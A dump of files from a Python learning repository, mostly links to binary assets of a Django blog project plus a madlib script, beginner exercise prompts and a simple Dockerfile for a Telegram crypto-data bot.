lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/icons/favicon.ico -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/flexslider-icon.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/flexslider-icon.eot -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/flexslider-icon.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/flexslider-icon.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/flexslider-icon.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/flexslider-icon.woff -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_screen-reader.scss: -------------------------------------------------------------------------------- 1 | // Screen Readers 2 | // ------------------------- 3 | 4 | .sr-only { @include sr-only(); } 5 | .sr-only-focusable { @include sr-only-focusable(); } 6 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-01.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-02.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-02.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-03.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-03.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-04.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-04.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-05.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-05.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-06.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/banner-item-06.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/comment-author-01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/comment-author-01.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/comment-author-02.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/comment-author-02.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/comment-author-03.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/images/comment-author-03.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__pycache__/urls.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__pycache__/urls.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__pycache__/wsgi.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__pycache__/wsgi.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Black.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Bold.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Italic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Light.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Medium.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Thin.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__pycache__/settings.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/__pycache__/settings.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/banner-item-03.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/banner-item-03.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/banner-item-05.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/banner-item-05.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/banner-item-06.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/banner-item-06.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-Regular.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-SemiBold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-SemiBold.ttf -------------------------------------------------------------------------------- /Dayana python lab/0_playground/0_train_playground/Shervin_Javidi/madlib/madlib.py: -------------------------------------------------------------------------------- 1 | from madlib_templates import t_1, t_2, t_3, t_4 2 | import random as rnd 3 | 4 | # enter a list of words to generate a story 5 | if __name__ == "__main__": 6 | mt = rnd.choice([t_1, t_2, t_3, t_4]) 7 | mt.madlib() 8 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-BlackItalic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-BoldItalic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ExtraBold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ExtraBold.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ExtraLight.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ExtraLight.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-LightItalic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ThinItalic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-MediumItalic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/banner-item-03_UvxeQyK.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/media/images/articles/banner-item-03_UvxeQyK.jpg -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ExtraBoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ExtraBoldItalic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ExtraLightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-ExtraLightItalic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-SemiBoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/poppins/Poppins-SemiBoldItalic.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/migrations/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/home/migrations/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/migrations/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/migrations/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__pycache__/0001_initial.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__pycache__/0001_initial.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0011_like.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0011_like.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/iconic/fonts/Material-Design-Iconic-Font.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/iconic/fonts/Material-Design-Iconic-Font.eot -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/iconic/fonts/Material-Design-Iconic-Font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/iconic/fonts/Material-Design-Iconic-Font.ttf -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/iconic/fonts/Material-Design-Iconic-Font.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/iconic/fonts/Material-Design-Iconic-Font.woff -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/iconic/fonts/Material-Design-Iconic-Font.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/iconic/fonts/Material-Design-Iconic-Font.woff2 -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0001_initial.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0001_initial.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0010_massage.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0010_massage.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 2 - S.P/lvl_5.py: -------------------------------------------------------------------------------- 1 | # hi there, welcome to level5-part2 of hipy game 2 | 3 | #write a code using one of this page libs https://www.udacity.com/blog/2020/05/popular-python-ai-libraries.html 4 | # just select one of theme. 5 | #and search the net for samples 6 | # write your sample with comments and descriptions -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/migrations/__pycache__/0001_initial.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/migrations/__pycache__/0001_initial.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/4_social_bots/0_telegram/0_crypto_currency_data_gather_bot/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM python:3.8-slim-buster 4 | 5 | WORKDIR /app 6 | 7 | COPY requirements.txt requirements.txt 8 | 9 | RUN pip3 install -r requirements.txt 10 | 11 | COPY . . 12 | 13 | CMD [ "python3", "appcc.py"] -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0002_article_auther.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0002_article_auther.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__pycache__/0002_alter_profile_image.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__pycache__/0002_alter_profile_image.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__pycache__/0003_alter_profile_options.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/migrations/__pycache__/0003_alter_profile_options.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0007_alter_article_slug.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0007_alter_article_slug.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0008_alter_article_slug.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0008_alter_article_slug.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0006_remove_article_status.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Geekups/Dayana-Python-Lab/HEAD/Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/__pycache__/0006_remove_article_status.cpython-310.pyc -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 3 - U.P/lvl_1.py: -------------------------------------------------------------------------------- 1 | # in part 3 / for each level dayana give you some idea. you can choose one or more of this ideas 2 | # search about anything you dont know 3 | 4 | # No 1 : telegram robot that can send static massage and files (very simple) 5 | 6 | # No 2 : snake game (simple) 7 | 8 | # No 3 : random password generator (very simple) -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 3 - U.P/lvl_4.py: -------------------------------------------------------------------------------- 1 | # in part 3 / for each level dayana give you some idea. you can choose one or more of this ideas 2 | # search about anything you dont know 3 | 4 | # No 1: Contact Book (medium degree one) 5 | 6 | # No 2: Scrape With Selenium WebDriver (medium degree one) 7 | 8 | # No 3: YouTube Video Downloader (medium degree one) 